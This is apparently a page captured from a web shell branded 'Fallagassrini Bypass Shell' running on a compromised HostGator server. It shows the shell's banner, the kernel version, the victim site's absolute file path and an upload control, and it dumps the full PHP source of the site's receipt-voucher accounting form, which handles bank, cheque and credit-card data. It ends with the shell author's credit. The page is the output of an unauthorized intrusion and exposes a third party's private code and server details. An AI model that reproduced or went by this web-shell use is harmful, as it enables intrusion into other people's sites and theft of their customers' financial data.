? Fallagassrini

Fallagassrini Bypass Shell

echo"
Fallagassrini
";
Current Path : /home1/savoy/www/savoyglobal.net/eldertree/application/views/accounting/

Linux gator3171.hostgator.com 4.19.286-203.ELK.el7.x86_64 #1 SMP Wed Jun 14 04:33:55 CDT 2023 x86_64
Upload File :
Current File : /home1/savoy/www/savoyglobal.net/eldertree/application/views/accounting/edit_receipt_voucher.php

<?php
if (!defined('BASEPATH'))
    exit('No direct script access allowed');
$this->load->view('documentreadyfunctions');
$this->load->view('accounting/accountingfunctions');
?>
<script src="<?= base_url() ?>assets/scripts/jquery.autocomplete.js"></script>
<script>
    $(document).ready(function()
    {
        checkfiscalyear();
        $(".addRow_payment").btnAddRow({inputBoxAutoNumber: true}, function(row) {
            suggestchartaccount('.payment_account');
        });        
        suggestchartaccount('.payment_account');
        suggest_bank_account('#bankacc');
    });
</script>  
<div class="row-fluid">
    <div class="tab-pane " id="tab_2">
        <div class="portlet box yellow">
            <div class="portlet-title">
                <div class="caption"><i class="icon-reorder"></i>Update Receipt Voucher</div>
                <div class="tools">
                    <a href="#" onclick="viewdata('accounting','viewinaccountingsearch','search_receipt_voucher','view_receipt_voucher','<?=$_SESSION['pagenum'];?>')" class="remove"></a>
                </div>
            </div>
            <div class="portlet-body form">
                <!-- BEGIN FORM-->
                <?php
                $attributes = array('id' => 'validateform', 'class' => 'form-horizontal validate');
                  echo form_open('accounting/addinaccounting/update_receipt_voucher/view_receipt_voucher/1',$attributes);
    $bankacc=$this->mastermodel->getdatas('finance_bank_account','bank_account_id','asc','bank_account_id');
    $payment_type=$this->mastermodel->getdatas('finance_payment_types','payment_type_id','asc','payment_type_id');
    $accounts=$this->mastermodel->getdatas('finance_chart_master','chart_type_id','','');
    $bank_acc = $this->mastermodel->get_single_field_value_two('finance_journal', 'chart_account_code', 'journal_id', $journal_refs->journal_id, 'credit', '0');
$bank_account = $this->mastermodel->get_data_srow('finance_bank_account', $bank_acc, 'chart_account_code');
                ?>
              <input type="hidden" name="transaction_id" value="2"/>
    <input type="hidden" name="journal_id" value="<?=$journal_refs->journal_id?>"/>
    <input type="hidden" name="payment_old" value="<?=$journal_refs->payment_type_id?>"/>
    <input type="hidden" name="reference" value="<?=$journal_refs->reference?>"/>
                <h3>Bank Account Deposit Entry</h3>
                <div class="row-fluid">
                    <div class="span6 ">
                        <div class="control-group">
                            <label class="control-label">Transaction No:</label>
                            <div class="controls">
                                <input readonly="readonly" class="span12" type="text" value="<?= $journal_refs->reference ?>"/>
                            </div>
                        </div>
                    </div>
                    <div class="span6 ">
                        <div class="control-group">
                            <label class="control-label">To:</label>
                            <div class="controls">
                                <input type="text" name="bankacc" id="bankacc" value='<?= $bank_account->bank_name ?>' class="required span12"  />
                            <input type="hidden" name="bankacc_id" id="bankacc_id" value="<?= $bank_account->bank_account_id . '~' . $bank_account->chart_account_code . '~' . $bank_account->bank_name ?>" />

                               
                            </div>
                        </div>
                    </div>
                </div>
                <div class="row-fluid">
                    <div class="span6 ">
                        <div class="control-group">
                            <label class="control-label">Date: </label>
                            <div class="controls">
                                <input class="span12 required calfocus" type="text" name="journal_date" id="journal_date" value="<?=$this->mastermodel->convertdatenormalformat($journal_refs->journal_date)?>"/>

                            </div>
                        </div>
                    </div>
                    <div class="span6 ">
                        <div class="control-group">
                            <label class="control-label">Payment Method: </label>
                            <div class="controls">
                                <select name="payment_type_id" id="payment_type_id" class="required  chosen span12" onchange="select_payment_mode(this.value,'payment_mode','')">
                                <?php
                                foreach ($payment_type as $value) 
                                {                                
                                    echo '<option value="'.$value['payment_type_id'].'"';if($value['payment_type_id']==$journal_refs->payment_type_id) echo "selected";echo '>'.$value["payment_type"].'</option>';
                                }
                                ?>
                            </select>
                            </div>
                        </div>
                    </div>
                </div>
                <div class="portlet box yellow" >
                   
                        <div class="portlet-title">
                            <div class="caption"><i class="icon-check"></i>  Payment Details</div>
                        </div>
                        <div class="portlet-body" id="payment_mode">
                             <?php
                                if($journal_refs->payment_type_id==2)
                                    {
                                    $cheque=$this->mastermodel->get_data_srow('finance_cheque_info',$journal_refs->journal_id,'journal_id');               
                                    ?>
                            
                                    <table class="table table-striped table-hover table-bordered" id="sample_3" style="background-color: white;">
                                        <tr>
                                              <th>Cheque Date</th>
                                            <th>Cheque No</th>
                                            <th>Cheque Info</th>
                                            
                                        </tr>
                                        <tr>
                                            <td> 
                                                 <input class="span12 required calfocus" type="text" name="cheque_date" id="cheque_date" value="<?=$this->mastermodel->convertdatenormalformat($cheque->cheque_date)?>"/>
                                                    </td>
                                            <td>  
                                                 <input class="span12 required number" type="text" name="cheque_no" id="cheque_no" value="<?=$cheque->cheque_no?>"/>
                                            </td>
                                            <td>
                                                 <textarea class=" required span12"  name="cheque_info" id="cheque_info"><?=$cheque->cheque_info?></textarea>
                                            </td>

                                        </tr>
                                    </table>
                                


                                                             <?php
            }
            else if ($journal_refs->payment_type_id == 3)
                            {
                            $credit_card_info = $this->mastermodel->get_data_srow('finance_credit_card_info', $journal_refs->journal_id, 'journal_id');
                            ?>

                            <table class="table table-striped table-hover table-bordered" id="sample_5" style="background-color: white;">
                                <tr>
                                    <th>Credit Card Holder Name</th>
                                    <th>Credit Card No</th>
                                </tr>
                                <tr>
                                    <td>
                                        <input class="required  " type="text" name="holder_name" id="holder_name" value="<?= $credit_card_info->credit_card_holder ?>"/>

                                    </td>
                                    <td>
                                        <input class="w_90 required " type="text" name="card_no" id="card_no"  value="<?= $credit_card_info->credit_card_no ?>" /><br/>

                                    </td>                
                                </tr>
                            </table>

                            <?php
                        }
                        
                        else if ($journal_refs->payment_type_id == 4)
                            {
                                $wire_info = $this->mastermodel->get_data_srow('finance_wire_info', $journal_refs->journal_id, 'journal_id');
                                ?>

                            <div class="row-fluid">
                                <div class="control-group">
                                    <table class="table table-striped table-hover table-bordered" id="sample_5" style="background-color: white;">
                                        <tr>
                                            <th>Description</th>  
                                            <td>
                                                <input class="span12 required" type="text" name="bank_transfer_description" id="bank_transfer_description" style="width:250px;" value="<?= $wire_info->wire_info ?>"/>
                                            </td>

                                        </tr>
                                    </table>
                                </div>
                            </div>
                            <?php
                    }
                    ?>
                        </div>
                        
                </div>
                <div class="portlet box yellow">            
                    <div class="portlet-title">
                        <div class="caption"><i class="icon-check"></i> Deposit Items</div>
                    </div>
                    <div class="portlet-body">
                        <div class="row-fluid">
                            <div class="control-group">
                                <table class="table table-striped table-hover table-bordered" id="sample_5" style="background-color: white;">
                                    <tr>
                                       <th>Acc code</th>
                                        <th>Description</th>
                                        <th>Amount</th>
                                        <th><input type="button" id="button2" value="Add More" class="addRow_payment" title="Add Row" style="width:75px;"/></th>
                                    </tr>
                                    <?php
                    $i=1;
                    foreach($journal as $row)
                    {
                        $finance_refs=$this->mastermodel->get_data_srow('finance_refs',$row['id'],'refs_id');
                        $type="";
                        $param="";
                        if($finance_refs)
                        {
                            
                            
                            $param=$finance_refs->param_table.'~'.$finance_refs->param_id.'~'.$finance_refs->refs_type;
                            if($finance_refs->param_table=='cost_center')
                                $type='cost';
                            else 
                                $type='invoice';
                            ?>
                    
                            <script>
                            $(document).ready(function()
                            {
                               select_purchase_type('<?=$i?>','param','<?=$finance_refs->param_id?>');
//                               $('#param').val()
                            });
                            </script>
                    <?php
                            
                        }
                            
                        
                    ?>
                    <tr>
                        <td>
                            <?php
                                
                                foreach ($accounts as $value) 
                                {                                    
                                    if($value["chart_account_code"]==$row['chart_account_code'])
                                    {?>
                                       <input type="text" name="payment_to<?=$i?>" id="payment_to<?=$i?>" data-id='payment_to_id<?=$i?>' value='<?=$value["chart_account_code"].$value["chart_account_name"]?>' class="required payment_account span12" />
                                       <input type="hidden" name="payment_to_id<?=$i?>" id="payment_to_id<?=$i?>" value="<?=$value['chart_master_id'].'~'.$value["chart_account_code"].'~'.$value["chart_account_name"]?>" /> 
                                    <?php
                                    }
                                }
                                ?>
                        </td>                         
                        <td><textarea class="span12" name="description<?=$i?>" id="description<?=$i?>"><?=$row['description']?></textarea></td>
                        <td><input class="span12 number required text_r" type="text" name="amount<?=$i?>" id="amount<?=$i?>" value="<?=$row['credit']?>" onblur="checkamount(this.id)"/></td>


                                            <td>
                                                <img style="float: right; vertical-align: top;"src="<?= base_url() ?>assets/img/close.png" alt="Delete Row" class="delRow clickimage" title="Delete Row"/>
                                            </td>
                                        </tr>
                                        <?php
                                        $i++;
                                    }
                                    ?>

                                </table>
                            </div>
                        </div>

                    </div>
                </div>


                <div class="form-actions">
                    <input type="hidden" name="tab_name" value="receipt_voucher"/>
                    <input type="hidden" name="resfunction" value="search_receipt_voucher"/>

                    <button type="submit" onclick="checkdata('payment_to', 'payment_account','No existing  Account selected');
                    checkdatavalidity($('input#bankacc_id').val(), 'bankacc', 'No existing Bank Account selected');
                    addformdata('validateform')" class="btn blue"><i class="icon-ok"></i> Process Deposit</button>
                    <button type="button" onclick="viewdata('accounting','viewinaccountingsearch','search_receipt_voucher','view_receipt_voucher','<?=$_SESSION['pagenum'];?>')" class="btn">Cancel</button>
                </div>
<?php
echo form_close();
?>
                <!-- END FORM-->                
            </div>
        </div>
    </div>
</div>





bypass 1.0, Devloped By El Moujahidin (the source has been moved and devloped)
Email: contact@elmoujehidin.net